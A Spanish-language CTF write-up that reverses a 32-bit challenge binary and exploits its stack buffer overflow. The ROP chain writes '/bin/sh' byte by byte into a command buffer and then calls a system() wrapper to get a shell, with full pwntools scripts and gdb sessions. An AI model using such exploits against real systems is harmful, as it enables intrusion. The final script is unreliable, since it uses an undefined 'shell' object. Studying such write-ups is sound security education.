xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackDef

C2 Sever Pwn



Reversing


Al ejecutar el binario que se otorga muestra un mensaje de bienvenida y pide datos como entrado y los exfiltra, de primeras no queda muy clara su función

❯ ./chal
Servicio de exfiltracion Ocelot v0.1  
Recibiendo datos...
AAAAAAAABBBBBBBB
Datos exfiltrados

Iniciamos desensamblando el binario, la función main guarda en una variable command una string que ejecuta un echo, además declara un iterador i en 0

Luego en un bucle que se ejecuta n veces donde n es la longitud la variable command, en cada iteración llama a la función updateCommand pasandole como argumentos el iterador y el contenido de la variable command en la posición i, una vez que termina el bucle llama a vuln y finalmente a la función execCommand

La función updateCommand recibe el indice y un byte, simplemente mueve el byte a la variable command en la posición i, podriamos escribirlo como command[i] = byte

Para entender mejor el bucle podemos establecer un breakpoint en la llamada a updateCommand y vincular a el comandos que muestren ambas variables que se le pasan como argumento, la primera como dword y la segunda como string

❯ gdb -q chal
Reading symbols from chal...
(No debugging symbols found in chal)
pwndbg> x/i 0x80492de
   0x80492de <main+73>:	call   0x80491f3 <updateCommand>
pwndbg> b *0x80492de
Punto de interrupción 1 at 0x80492de
pwndbg> commands 1
Type commands for breakpoint(s) 1, one per line. End with a line saying just "end".  
>x/wx $esp
>x/s $esp+4
>end
pwndbg>

En la primera iteración se le pasa el indice 0 y la cadena e, entonces ejecutariamos un command[0] = "e", en la segunda el indice 1 y la cadena h que equivale a el pseudo c command[1] = "c"; y así byte por byte hasta completar toda la cadena

pwndbg> r
Starting program: /home/user/chal
[Depuración de hilo usando libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".  

Breakpoint 1, 0x080492de in main ()
0xffffd4a0:	0x00000000
0xffffd4a4:	"e"
pwndbg> c
Continuando.

Breakpoint 1, 0x080492de in main ()
0xffffd4a0:	0x00000001
0xffffd4a4:	"c"
pwndbg> c
Continuando.

Breakpoint 1, 0x080492de in main ()
0xffffd4a0:	0x00000002
0xffffd4a4:	"h"
pwndbg> c
Continuando.

Breakpoint 1, 0x080492de in main ()
0xffffd4a0:	0x00000003
0xffffd4a4:	"o"
pwndbg>

Si quitamos los breakpoints y continuamos podemos ver que cuando se termina el bucle ahora la variable command esta llena con el comando que se define al inicio

pwndbg> bc *
pwndbg> c
Continuando.
Servicio de exfiltracion Ocelot v0.1
Recibiendo datos...
^C
Program received signal SIGINT, Interrupt.
0xf7fc7579 in __kernel_vsyscall ()
pwndbg> x/s &command
0x804c040 <command>:	"echo Datos exfiltrados"  
pwndbg>

Vamos con la función execCommand, esta simplemente ejecuta como comando llamando a la función system lo que se encuentre en la variable command

La función vuln llama a fgets 0x200 o 512 bytes en un buffer que inicia en ebp - 264


Explotación


Iniciamos mirando las protecciones con checksec, este binario solo tiene activada la protección NX que nos impedirá ejecutar shellcode directamente en el stack

❯ checksec chal
[*] '/home/user/chal'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)  

Podemos crear un payload, enviaremos 264 A's para rellenar el buffer antes de ebp, 4 B's que seran el valor de ebp en el leave y 4 C's que tomaran el valor del return address, y finalmente algunas D's que simplemente se guardarán en el stack

❯ python3 -q
>>> b"A" * 264 + b"B" * 4 + b"C" * 4 + b"D" * 24
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDDDDDDDDDDDDDDDDDDDDD'  
>>>

❯ gdb -q chal
Reading symbols from chal...
(No debugging symbols found in chal)
pwndbg> r
Starting program: /home/user/chal
[Depuración de hilo usando libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Servicio de exfiltracion Ocelot v0.1
Recibiendo datos...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDDDDDDDDDDDDDDDDDDDDD  

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
pwndbg> p/x $ebp
$1 = 0x42424242
pwndbg> p/x $eip
$2 = 0x43434343
pwndbg> x/s $esp
0xffffd4b0:	'D' <repetidos 24 veces>
pwndbg>

Ya que el NX esta habilitado tendremos que hacer ROP, sin embargo las propias funciones del programa nos ayudarán a conseguir una shell, updateCommand nos ayudará a escribir en la variable command y execCommand a ejecutar dicha variable

pwndbg> p updateCommand 
$1 = {<text variable, no debug info>} 0x80491f3 <updateCommand>  
pwndbg> p execCommand 
$2 = {<text variable, no debug info>} 0x804921d <execCommand>
pwndbg>

El primer exploit envia A's para rellenar el offset hasta el return address, nuestra cadena ROP inicia llamando a la función updateCommand, lo primero que se envia en el stack es la dirección de retorno que será a donde retorna al terminar la función, le pasamos el primer argumento como posición 0 y el primer caracter de la cadena /bin/sh que es /, además enviamos unas C's para que se guarden en el stack

#!/usr/bin/python3
from pwn import gdb, p32, u8

shell = gdb.debug("./chal", "b *0x80491f3\ncontinue")  

offset = 268
junk = b"A" * offset

cmd = b"/bin/sh\x00"

payload  = b""
payload += junk
payload += p32(0x080491f3)   # updateCommand()
payload += p32(0x42424242)   # return address
payload += p32(0)            # position
payload += p32(u8(cmd[0:1])) # character
payload += p32(0x43434343)   # more data

shell.sendlineafter(b"...\n", payload)
shell.interactive()

Al llegar al breakpoint establecido en updateCommand podemos ver en el stack el primer dword que es la dirección de retorno y luego los 2 argumentos de la función

Breakpoint 1, 0x080491f3 in updateCommand ()  
pwndbg> x/i $eip
=> 0x80491f3 <updateCommand>:	push   ebp
pwndbg> x/wx $esp
0xffb35fb0:	0x42424242
pwndbg> x/wx $esp+4
0xffb35fb4:	0x00000000
pwndbg> x/s $esp+8
0xffb35fb8:	"/"

Saltamos el ret que es el final de la función revisamos la variable global command y el primer caracter lo hemos modificado de e a /, además podemos ver que en el ret apunta a la dirección 0x42424242 que es el primer dword que habiamos enviado

pwndbg> nextret
Temporary breakpoint -11, 0x0804921c in updateCommand ()  
pwndbg> x/s &command
0x804c040 <command>:	"/cho Datos exfiltrados"
pwndbg> x/i $eip
=> 0x804921c <updateCommand+41>:	ret
pwndbg> x/wx $esp
0xffb35fb0:	0x42424242
pwndbg>

Miramos al stack, al llegar a la dirección de retorno en el stack tenemos aún los 2 argumentos y luego la dirección de las 3 C's, lo mas sencillo para seguir con el siguiente caracter seria limpiar esos 8 bytes de los 2 dwords y retornar en las C's para la siguiente iteración que será el ropchain que escriba el siguiente caracter

pwndbg> c
Continuando.

Program received signal SIGSEGV, Segmentation fault.  
0x42424242 in ?? ()
pwndbg> stack 3
00:0000│ esp 0xffb35fb4 ◂— 0
01:0004│     0xffb35fb8 ◂— 0x2f /* '/' */
02:0008│     0xffb35fbc ◂— 'CCCC'
pwndbg>

Lo ideal seria un gadget add esp, 8; ret; pero aunque no existe tenemos un gadget add esp, 8; pop ebx; ret; por lo que necesitaremos enviar 4 bytes de padding y evitar que no salte donde debe, este stack pivot lo encontramos con ropper

❯ ropper --file chal --stack-pivot
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%  

Gadgets
=======

0x08049102: add esp, 0x10; leave; ret;
0x0804901b: add esp, 8; pop ebx; ret;
0x080492f9: ret 0x458b;
0x08049213: ret 0xb60f;
0x080492fe: ret 0xc873;
0x0804912b: ret 0xe8c1;

6 gadgets found

Entonces, nuestro exploit es un bucle que llama a updateCommand pasandole los 2 argumentos, la posición y el caracter, y en la dirección de retorno limpiamos el stack para pasar a la siguiente iteración hasta que se completen todos los caracteres

#!/usr/bin/python3
from pwn import gdb, p32, u8

shell = gdb.debug("./chal", "b *0x804921c\nb *0x804921d\ncontinue")  

offset = 268
junk = b"A" * offset

cmd = b"/bin/sh\x00"

payload  = b""
payload += junk

for i in range(len(cmd)):
    payload += p32(0x80491f3)      # updateCommand()
    payload += p32(0x804901b)      # add esp 8; pop ebx; ret;
    payload += p32(i)              # position
    payload += p32(u8(cmd[i:i+1])) # character
    payload += p32(0x41414141)     # padding for pop

payload += p32(0x804921d) # execCommand()

shell.sendlineafter(b"...\n", payload)
shell.interactive()

Cuando llegamos a updateCommand como return address tenemos el stack pivot y cuando se ejecute quitara los 3 dwords del stack y pasa al siguiente updateCommand

Breakpoint 1, 0x0804921c in updateCommand ()
pwndbg> x/i $eip
=> 0x804921c <updateCommand+41>:	ret
pwndbg> x/3i *(int)($esp)
   0x804901b <_init+27>:	add    esp,0x8
   0x804901e <_init+30>:	pop    ebx
   0x804901f <_init+31>:	ret
pwndbg> stack 5
00:0000│ esp 0xffa63e00 —▸ 0x804901b (_init+27) ◂— add esp, 8
01:0004│     0xffa63e04 ◂— 0
02:0008│     0xffa63e08 ◂— 0x2f /* '/' */
03:000c│     0xffa63e0c ◂— 0x41414141 ('AAAA')
04:0010│     0xffa63e10 —▸ 0x80491f3 (updateCommand) ◂— push ebp  
pwndbg>

Cuando terminamos los bucles y llegamos a execCommand la variable global command ahora contiene toda la cadena /bin/sh y al ejecutarse nos devuelve una shell

pwndbg> bc 1
pwndbg> c
Continuando.
Breakpoint 2, 0x0804921d in execCommand ()  
pwndbg> x/i $eip
=> 0x804921d <execCommand>:	push   ebp
pwndbg> x/s &command
0x804c040 <command>:	"/bin/sh"
pwndbg>

El exploit final llena caracter por caracter llamando a la función updateCommand la variable command con la cadena /bin/sh y cuando termina el bucle llama a la función execCommand que ejecuta la variable command con system y devuelve la shell

#!/usr/bin/python3
from pwn import process, p32, u8

offset = 268
junk = b"A" * offset

cmd = b"/bin/sh\x00"

payload  = b""
payload += junk

for i in range(len(cmd)):
    payload += p32(0x80491f3)      # updateCommand()
    payload += p32(0x804901b)      # add esp 8; pop ebx; ret;  
    payload += p32(i)              # position
    payload += p32(u8(cmd[i:i+1])) # character
    payload += p32(0x41414141)     # padding for pop

payload += p32(0x804921d) # execCommand()

shell.sendlineafter(b"...\n", payload)
shell.interactive()

❯ python3 exploit.py
[+] Starting local process './chal': pid 305681  
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$